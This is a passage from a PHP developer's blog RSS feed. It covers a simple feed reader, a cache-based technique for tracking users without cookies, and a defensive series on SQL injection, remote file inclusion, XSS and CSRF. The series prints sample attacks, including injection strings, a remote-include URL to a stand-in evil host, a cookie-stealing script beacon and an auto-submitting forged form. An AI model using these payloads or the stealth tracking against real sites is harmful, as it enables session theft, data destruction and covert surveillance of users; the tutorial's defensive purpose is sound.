			<span style="color: #0000ff;">'image'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">,</span>
			<span style="color: #0000ff;">'date'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$node</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">pubDate</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> canRead<span style="color: #009900;">&#40;</span>SimpleXMLElement <span style="color: #000088;">$root</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">//RSS feeds name their root node 'rss'.</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$root</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getName</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'rss'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

</div>
<p>There are a few things missing, namely any kind of encoding awareness and correct error handling. It also requires SimpleXML and <a href="http://uk2.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen">allow_url_fopen</a> to be enabled. On the plus side the code is simple enough to hack in new features as they are needed.</p>
<p>I&#8217;m releasing this code under the <a href="http://creativecommons.org/licenses/BSD/">BSD License</a>, so feel free to take and modify it for any purposes.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/02/08/simple-atom-rss-reader-for-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Abusing the Cache: Tracking Users without Cookies</title>
		<link>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/</link>
		<comments>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 22:02:17 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=17</guid>
		<description><![CDATA[I&#8217;ve been doing a little bit of research into ways to misuse browser history and cache and came across a very simple technique for tracking users without the need for cookies. Firstly, a demo. If you watch the HTTP requests you&#8217;ll see that there are no cookies being used.
To track a user I make use [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been doing a little bit of research into ways to misuse browser history and cache and came across a very simple technique for tracking users without the need for cookies. Firstly, a <a href="http://joshduck.com/random/tracker.php">demo</a>. If you watch the HTTP requests you&#8217;ll see that there are no cookies being used.</p>
<p><span id="more-17"></span>To track a user I make use of three URLs: the container, which can be any website; a shim file, which contains a unique code; and a tracking page, which stores (and in this case displays) requests. The trick lies in making the browser cache the shim file indefinitely. When the file is requested for the first &#8211; and only &#8211; time a unique identifier is embedded in the page. The shim embeds the tracking page, passing it the unique ID every time it is loaded. See the <a href="http://paste2.org/p/758154">source code</a> <i>(thanks to Nathan for pointing out the date error)</i>.</p>
<p>One neat thing about this method is that JavaScript is not strictly required. It is only used to pass the message and referrer to the tracker. It would probably be possible to replace the iframes with CSS and images to gain JS-free HTTP referrer logging but would lose the ability to store messages so easily.  </p>
<p>As to how useful this actually is; the only use cases I can really think of are not exactly legitimate. The most obvious is to track users who won&#8217;t accept cookies. This does have advantages over cookies too; namely that this kind of tracking is completely silent. Virus scanners which search for an delete tracking cookies won&#8217;t affect sites using this method. Likewise, manually clearing cookies won&#8217;t work.</p>
<p>The most practical implementation would be to use this in concert with cookies to make tracking IDs more sticky, so they could outlast a user clearing their cookies. I&#8217;ve also been looking into adapting the link colour hack to store custom values in the browser history (this is easily doable). Combining these three techniques would mean a user would have to simultaneously clear their cache, their history and their cookies to circumvent tracking.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/01/29/abusing-the-cache-tracking-users-without-cookies/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; Databases</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:05:49 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</guid>
		<description><![CDATA[SQL injection is a well trodden topic so I won&#8217;t go into too much detail.
For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.unixwiz.net/techtips/sql-injection.html">SQL injection</a> is a well trodden topic so I won&#8217;t go into too much detail.</p>
<p>For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement <code>"SELECT * FROM users WHERE name = '$name'"</code> will fail if $name is set to <code>' or '1' = '1</code>. The string will be expanded to produce <code>SELECT * FROM users WHERE name = '' or '1' = '1'</code>. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.</p>
<p><span id="more-11"></span></p>
<p>Some database libraries (but not MySQL&#8217;s PHP extension) allow multiple SQL statements inside a single call, so if <code>$name</code> was set to <code>'; DELETE FROM USERS --</code> in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.</p>
<h2>Magic Quotes</h2>
<p>PHP 4 introduced a feature called <a href="http://au2.php.net/magic_quotes">magic quotes</a> that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you&#8217;ve ever seen a page which leaves backslashes in your input (think O\&#8217;Connor) then you know what I mean.</p>
<p>Magic quotes were also a failure because developers couldn&#8217;t ever assume that they were available or turned on in a given environment. Therefore they&#8217;d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The <a href="http://au2.php.net/magic_quotes">comments</a> in PHP&#8217;s manual page offer a method of doing this.</p>
<h2>A Better Solution</h2>
<p>The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The <a href="http://au2.php.net/mysqli">MySQL Improved Extension (mysqli)</a> and <a href="http://au2.php.net/pdo">PHP Data Objects</a> library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$stmt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dbh</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO REGISTRY (name, value) VALUES (:name, :value)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':name'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':value'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using <code><a href="http://www.php.net/sprintf">sprintf</a></code> do this.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM user
			WHERE name = '<span style="color: #009933; font-weight: bold;">%s</span>'
			AND id &gt; <span style="color: #009933; font-weight: bold;">%d</span>&quot;</span><span style="color: #339933;">,</span>
		<span style="color: #990000;">mysqli_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #990000;">mysqli_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use <a href="http://www.php.net/func_get_args">func_get_args</a> and <a href="http://www.php.net/vsprintf">vsprintf</a> to create a function to do the querying and escaping in a single function.</p>
<h2>Final Tips</h2>
<p>Your final line of defence against SQL injection is to plan for the worst.</p>
<p>Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.</p>
<p>It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.</p>
<p>You should avoid printing your SQL errors (e.g. <code>mysql_error()</code>) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.</p>
<h2>Physical Access</h2>
<p>Even if your security is foolproof (which it won&#8217;t ever be) then you&#8217;re still in trouble if someone steals a physical device containing your data. Time and time again you&#8217;ll hear of someone stealing a laptop or discs containing <a href="http://news.bbc.co.uk/2/hi/uk_news/politics/7128851.stm">sensitive information</a>. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.</p>
<h2>General Security Rules</h2>
<p>I hope this tutorial has made you aware of some of the security issues you&#8217;ll be up against as a PHP developer. I&#8217;d like to leave you with a few tips that aren&#8217;t specific to any security issue, but are good to keep in mind.</p>
<ul>
<li>Build on the work of others. Don&#8217;t build your own security when you can use what other, smarter, people have already done.</li>
<li>Where possible use whitelists instead of blacklists.</li>
<li>Never trust your user&#8217;s input. Ever.</li>
</ul>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code &#8211; XSS</a></li>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code &#8211; Server Security</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; Server Security</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:04:37 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-sercurity/</guid>
		<description><![CDATA[When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.

Keeping [...]]]></description>
			<content:encoded><![CDATA[<p>When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.</p>
<p><span id="more-12"></span><br />
<h2>Keeping Code Private</h2>
<p>There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.</p>
<p>Of course everyone knows that <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">security by obscurity is bad</a>, but if you have holes in your code then it&#8217;s obviously better if other people didn&#8217;t know about them.</p>
<p>The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like &#8220;functions.inc&#8221; or &#8220;MyClass.class&#8221;, seemingly unaware that anyone can request those files and view the raw code.</p>
<p>As well as giving files a correct extension you also consider moving them out of your web root anyway. You don&#8217;t need them in there, and having them in a non-public path makes everything safer. If you don&#8217;t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">Deny from all</pre></div></div>

<p>Facebook recently had a <a href="http://killersoft.com/randomstrings/2007/08/12/php-did-not-cause-facebook-code-leakage/">configuration</a> <a href="http://www.techcrunch.com/2007/08/11/facebook-source-code-leaked/">issue</a> that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.</p>
<h2>Remote Code Execution</h2>
<p>The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.</p>
<p>Watch what you include or require. Many people use include as a shortcut in their templates. For example</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;html&gt;
&lt;body&gt;
	&lt;div class=&quot;header&quot;&gt;...&lt;/div&gt;
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/body&gt; 	
&lt;/html&gt;</pre></div></div>

<p>This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. <code>/etc/passwd</code>. PHP will also allow you to include files from a remote server. An attacker can use this &#8220;feature&#8221; against you a request to <code>http://www.your-site.com/index.php?page=</code><code>http://www.evil-site.com/malicious-script.php.txt</code> would force your server to download and execute code from the &#8220;evil-site.com&#8221; domain. Once that happens the user can attack your system by executing <a href="http://kestas.kuliukas.com/Webkit/">shell functions</a>.</p>
<p>If you want to use the above pattern of templating then you can easily implement a white list of safe files.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pages</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'index'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'about'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'404'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'help'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pages</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'404'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$page</span>.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h2>Register Globals</h2>
<p>In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of &#8220;?a=foo&#8221; would create a variable called <code>$a</code> in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is <a href="http://www.php.net/register_globals">potentially dangerous</a>. You should always turn off register globals in php.ini. If you can&#8217;t edit your php.ini then add the following to your .htaccess file</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">php_value register_globals <span style="color: #cc66cc;">0</span></pre></div></div>

<h2>User Uploaded Files</h2>
<p>Apache is set to pass any file with a &#8220;php&#8221; extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.</p>
<h2>Form Validation</h2>
<p>One final word of warning: don&#8217;t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don&#8217;t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code &#8211; XSS</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code &#8211; Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; XSS</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:03:32 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/</guid>
		<description><![CDATA[Today I&#8217;m going to start a three part series looking at security issues affecting web developers. The specifics apply to PHP developers, but the general concepts carry across all technologies.
Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). [...]]]></description>
			<content:encoded><![CDATA[<p>Today I&#8217;m going to start a three part series looking at security issues affecting web developers. The specifics apply to PHP developers, but the general concepts carry across all technologies.</p>
<p>Any significant website is going to consist of three core layers: the client side code (HTML and JavaScript), server code (PHP) and a storage layer (MySQL). As a developer you should be aware of the security implications of each layer of technology and how you can best secure your code.</p>
<p><span id="more-10"></span></p>
<h2>What is an XSS Attack?</h2>
<p>This post is going to focuse on JavaScript and HTML. You might think that the HTML on your site  is fairly benign. Does it matter if the HTML doesn&#8217;t come out exactly the way you planned? Actually, it does. <a href="http://en.wikipedia.org/wiki/XSS">Cross-Site Scripting (XSS)</a> is the terms given to security vulnerabilities that are exploited through client site scripting.</p>
<h2>Attack Types</h2>
<p>XSS attacks fall into two categories: persistent and non-persistent. A persistent attack is one in which the attacker permanently modifies your site, just like the example below. Any user that loads the vulnerable page will be affected. A non-persistent attack is a temporary modification to the page, for example when a page prints out a variable passed to it through the query string. A non-persistent attack usually relies on some kind of social aspect from the attackers to entice the victim to visit a specially crafted URL.</p>
<p>Non-persistent attacks may also take advantage of holes in your JavaScript to write output to the page.</p>
<h2>XSS Example</h2>
<p>A simple persistent XSS session hijack attack might take the following form.</p>
<ul>
<li>You accept user input into a comment field. This is output straight to the page with no filtering.</li>
<li>Malicious user Alice sends the following comment

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">Great Work!
&lt;script&gt;document.write('&lt;img src=&quot;http://malicious-site.com/capture/' + document.cookie + '&quot; style=&quot;display:none;&quot;&gt;');&lt;/script&gt;</pre></div></div>

</li>
<li>This is accepted by your site and pasted into the comments.</li>
<li>One of your members, Bob, visits the comment page while logged in.</li>
<li>His browser parses the malicious script and adds the invisible image tag to the page.</li>
<li>His browser then requests the URL of the image: http://malicious-site.com/capture/PHPSESSID=3D3c2542747972f9a08b8759eafd079d7b</li>
<li>Alice&#8217;s server logs Bob&#8217;s session cookie.</li>
<li>Alice can now use the same session cookie on our site and you&#8217;ll think she&#8217;s logged in as Bob.</li>
</ul>
<p>This is a simple session hijacking attack. You could no-doubt patch this vulnerability, but there are a whole range of vectors that malicious users can use to attack your site. You need to focus on your security from a broad perspective and make sure that you have covered absolutely every angle. It only takes one hole to circumvent all your defenses.</p>
<h2>Escaping Data</h2>
<p>The one rule to stoping attacks is simple: you need to stop trusting your users&#8217; input. Every single piece of information you receive should be trusted as suspect. This goes beyond your usually $_POST and $_GET variables to include the following.</p>
<ul>
<li>$_GET</li>
<li>$_POST</li>
<li>$_FILES</li>
<li>$_COOKIES</li>
<li>$_SERVER (variables like &#8216;REFERRER_URI&#8217; or  &#8216;USER_AGENT&#8217; are sent by the user &#8211; some attackers have been known to <a href="http://lwn.net/2001/1108/a/webalizer.php3">send bad referrer data</a> so that they can exploit admin interfaces that show referrer information).</li>
<li>Data from the DB (another developer may plug in a new data source at some stage, so you cannot ever assume that database data is escaped).</li>
<li>Anything retrieved remotely, such as a RSS feeds.</li>
</ul>
<p>That is a lot of data to sanitize. You might think that you can filter all incoming data but that&#8217;s going to lead to complications. What if you decide you need to store data from an incoming RSS feed in your DB? When you read from the datadase you&#8217;ll have already escaped it, and risk escaping it again when you read it back out. You will end up with a mass of code for escaping and un-escaping. On a project with multiple developers it will become difficult to know whether the data a block of code is dealing with is sanitized or not. The simplest solution for escaping your data is to assume that <strong>all</strong> data is unsafe and escape it at the last possible moment; when printing it out to a HTML page.</p>
<p>What we need is a function that will ensure our data is never interpreted as HTML by the client&#8217;s browser. This is given to use in the form of PHP&#8217;s <code><a href="http://www.php.net/htmlspecialchars">htmlspecialchars</a></code>. This function will replace any quote, angled bracket or ampersand with its HTML entity. <code>&lt;script&gt;</code> becomes <code>&amp;lt;script&amp;gt;</code>. Once you have sanitized your data then you&#8217;ve just stopped a large number of possible attacks.</p>
<p class="aside"><strong>Note:</strong> make sure you quote all HTML attributes, especially if you are using (escaped) user input in them.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;img src=foobar.gif alt=<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$userTitle</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000000; font-weight: bold;">?&gt;</span> /&gt;</pre></div></div>

<p>Could easily turn into</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=foobar.gif alt= onclick=eval(/* some evil code*/) /&gt;</pre></div></div>

<p>If you want to remove HTML tags rather than escape them then use <code><a href="http://www.php.net/striptags">striptags</a></code>. I prefer to use <code>htmlspecialchars</code> because it won&#8217;t lead to accidentally data loss, and also indicates to users who attempt to use HTML in a legitimate manor that HTML is not accepted.</p>
<h2>Allowing Some HTML</h2>
<p>At some stage you are going to encounter a situation where you want to allow users to post a limited subset of HTML. I&#8217;d suggest that you save yourself a lot of trouble &#8211; don&#8217;t ever try and filter the HTML yourself. Parsing HTML (especially badly written HTML) is an extremely hard task to do well. Regexes aren&#8217;t going to cut it. <a href="http://htmlpurifier.org/">HTML Purifier</a> seems to be the best package out there for PHP developers.</p>
<h2>Cross Site Request Forgeries</h2>
<p>CSRF is a separate class of attack which is not technically an XSS attack, but is still closely related. In this attack the attacker creates specially crafted POST requests that they execute on the users browser without the user being aware. On third-party-site.com an attacker inserts the following code.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;form action=&quot;&lt;strong&gt;http://www.your-site.com/account/set_password.php&lt;/strong&gt;&quot; method=&quot;post&quot; id=&quot;evilForm&quot;&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;newpass&quot; /&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('b).submit();&lt;/script&gt;</pre></div></div>

<p>Your site will receive an apparently valid POST request to reset the user&#8217;s password. Because the request is sent from the victim&#8217;s browser (without them knowing) it will contain a valid cookie. You need to have some way of filtering out these bogus requests from legitimate ones.</p>
<p>The &#8220;<a href="http://namb.la/popular/">Samy is my Hero</a>&#8221; MySpace worm used a MySpace XSS hole and CSRF to spread.</p>
<p>If you are modifying data through GET requests then you have an even bigger problem. An attacker could post a link on your own site to a malicious URL: e.g. <code>http://www.your-site.com/blog/delete?id=1</code>	. No filtering is going to remove this URL because it is perfectly legitimate. Do not ever allow users to modify anything with a GET request.</p>
<h2>Preventing Bogus Requests</h2>
<p>There are a few things you can do to prevent rogue POST requests on your site. A malicious website can have a hidden form that submits to your site, but no third-party site can ever read the DOM structure of your site through the victim&#8217;s browser.<br />
Many sites take advantage of this security restriction by introducing a two step process for any form data.</p>
<ol>
<li>User performs a GET on <code>delete.php</code>. This page does not modify any data.</li>
<li>Site creates a unique token and adds it to the user&#8217;s session.</li>
<li>Site returns a page containing a POST form pointing to <code>delete_process.php</code>.</li>
<li>The user submits the form.</li>
<li><code>delete_process.php</code> does the actual deletion only if the user has performed a POST request and the request includes the token generated in step 2.</li>
<li>For good practice the server should redirect the user to a page that confirms their action (this is known as the <a href="http://en.wikipedia.org/wiki/Post/Redirect/Get">Post/Redirect/Get pattern</a>)</li>
</ol>
<p>This method will thwart a malicious POST coming from the third party site, as the third part can never read the secret token we generate, and therefore their request will be rejected.</p>
<p>At the time of the &#8220;Samy&#8221; worm MySpace was actually implementing the two-step process described above. However, because the attacker had discovered an XSS hole in MySpace, he was able to spread the worm from within the MySpace.com domain and could use XMLHTTPRequests to read the unique token.</p>
<p class="aside">Note: You may think that checking referrer values is a good way to stop bogus requests. Unfortunately there have also been known vulnerabilities which allow an attacker to spoof referrer headers. In addition to this, many users browse with referrers turned off or deliberately set to an incorrect value.</p>
<h2>Watch Your Subdomains</h2>
<p>It is common for many third-part scripts like WordPress or PHPBB to be vulnerable to XSS attacks. You may think that by hosting the package on a separate subdomain (e.g. forum.your-site.com) would keep you safe but an attacker can use JavaScript&#8217;s <code>document.domain</code> setting to make XMLHTTPRequests and read cookies from your top level domain (e.g. &#8220;your-site.com&#8221;). However, they will not be able to attack any other subdomains. If you main site is located at www.your-site.com and cookies are set to be readable to &#8220;.www.your-site.com&#8221; then your main site will be safe.</p>
<h2>HTTP Only Cookies</h2>
<p>Another promising candidate in the fight against XSS attacks is the <a href="http://msdn2.microsoft.com/en-us/library/ms533046.aspx">HTTP only cookie</a>, a proprietary extension created by Microsoft that would stop scripts from reading cookies that should only be read by the server.</p>
<h2>Final Thoughts</h2>
<p>Be careful with your JavaScript, you could wind up undoing all the careful work you did in your server side code, just as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272620">BugZilla</a> did.</p>
<p>Pick a content encoding and stick to it. This has even <a href="http://shiflett.org/blog/2005/dec/googles-xss-vulnerability">caught out Google</a>. Use the same character encoding in your HTML meta tags as you pass to <code>htmlspecialchars</code>. UTF-8 is always a safe bet.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code &#8211; Server Security</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code &#8211; Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-xss/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
